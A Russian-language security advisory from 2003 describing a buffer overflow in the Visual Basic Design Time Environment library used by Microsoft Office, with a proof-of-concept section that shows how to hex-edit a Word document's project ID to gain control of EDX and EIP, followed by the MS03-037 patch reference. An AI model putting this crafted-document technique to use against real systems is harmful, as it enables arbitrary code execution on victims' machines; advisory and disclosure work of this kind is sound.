Security Lab

Удаленное переполнение буфера в Visual Basic Design Time Environment library (подробности эксплуатации)

Дата публикации:08.09.2003
Всего просмотров:1369
Опасность:
Критическая
Наличие исправления:
Количество уязвимостей:1
CVE ID: Нет данных
Вектор эксплуатации:
Воздействие:
CWE ID: Нет данных
Наличие эксплоита: Нет данных
Уязвимые продукты:

Уязвимые версии: Microsoft Access 97, 2000, 2002 Microsoft Excel 97, 2000, 2002; Microsoft PowerPoint 97, 2000, 2002; Microsoft Project 2000, 2002; Microsoft Publisher 2002; Microsoft Visio 2000, 2002; Microsoft Word 97, 98(J), 2000, 2002; Microsoft Works Suite 2001, 2002, 2003; Microsoft Business Solutions Great Plains 7.5; Microsoft Business Solutions Dynamics 6.0, 7.0; Microsoft Business Solutions eEnterprise 6.0, 7.0; Microsoft Business Solutions Solomon 4.5, 5.0, 5.5;

Описание: Переполнение буфера обнаружено в Visual Basic Design Time Environment library (VBE.DLL and VBE6.DLL), который используется программами Microsoft Office и другими приложениями от Microsoft. Удаленный атакующий может выполнить произвольный код на уязвимой системе.

Пример/Эксплоит:

  1. Откройте Word.
  2. Выберите "Insert" - "Object"
  3. Выберите "MSPropertyTreeCtl Class" (можно выбрать любой другой объект, типа ChoiceBox Class и т.п.).
  4. Запишите .doc файл.
  5. Измените .doc файл, используя двоичный редактор, следующим образом:
    1. Найдите следующую строку в .doc файле:
       ID="{1FE45957-2625-4B1E-ADEF-EC04B7F34CCF}"
      Document=ThisDocument/&H00000000
      Name="Project"
      HelpContextID="0"
      VersionCompatible32="393222000"
      CMG="1E1C0125015D1B611B611B611B61"
      DPB="4B4954458046804680"
      GC="787A679868986867"
      
    2. Измените "ID" из:
       +0000 49 44 3D 22 7B 31 46 45 34 35 39 35 37 2D 32 36 ID="{1FE45957-26
       +0010 32 35 2D 34 42 31 45 2D 41 44 45 46 2D 45 43 30 25-4B1E-ADEF-EC0
       +0020 34 42 37 46 33 34 43 43 46 7D 22 0D 0A 44 6F 63 4B7F34CCF}"..Doc
       +0030 75 6D 65 6E 74 3D 54 68 69 73 44 6F 63 75 6D 65 ument=ThisDocume
      
      На
      +0000 49 44 3D 22 7B 61 61 61 61 61 61 61 61 61 61 61 ID="{aaaaaaaaaaa
       +0010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
       +0020 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 aaaaaaaaaaaaaaaa
       +0030 61 61 61 61 41 42 43 44 00 00 00 00               aaaaABCD....
      
  6. Откройте измененный .doc файл.
  7. Вы увидите ошибку доступа типа:
    65106055 FF 52 0C   call        dword ptr [edx+0Ch]
    
     EAX = 023219A4 EBX = 0232194B ECX = 02311AC4
     EDX = 44434241 ESI = 0231186C EDI = 02321940
     EIP = 65106055 ESP = 0012CBA0 EBP = 0012CBB8
    
Атакующий может установить любое значение для EDX регистра и контролировать значение EIP регистра.

URL производителя: http://www.microsoft.com/technet/security/

Решение:

Установите соответствующее обновление MS03-037: Выполнение произвольного кода в Visual Basic for Applications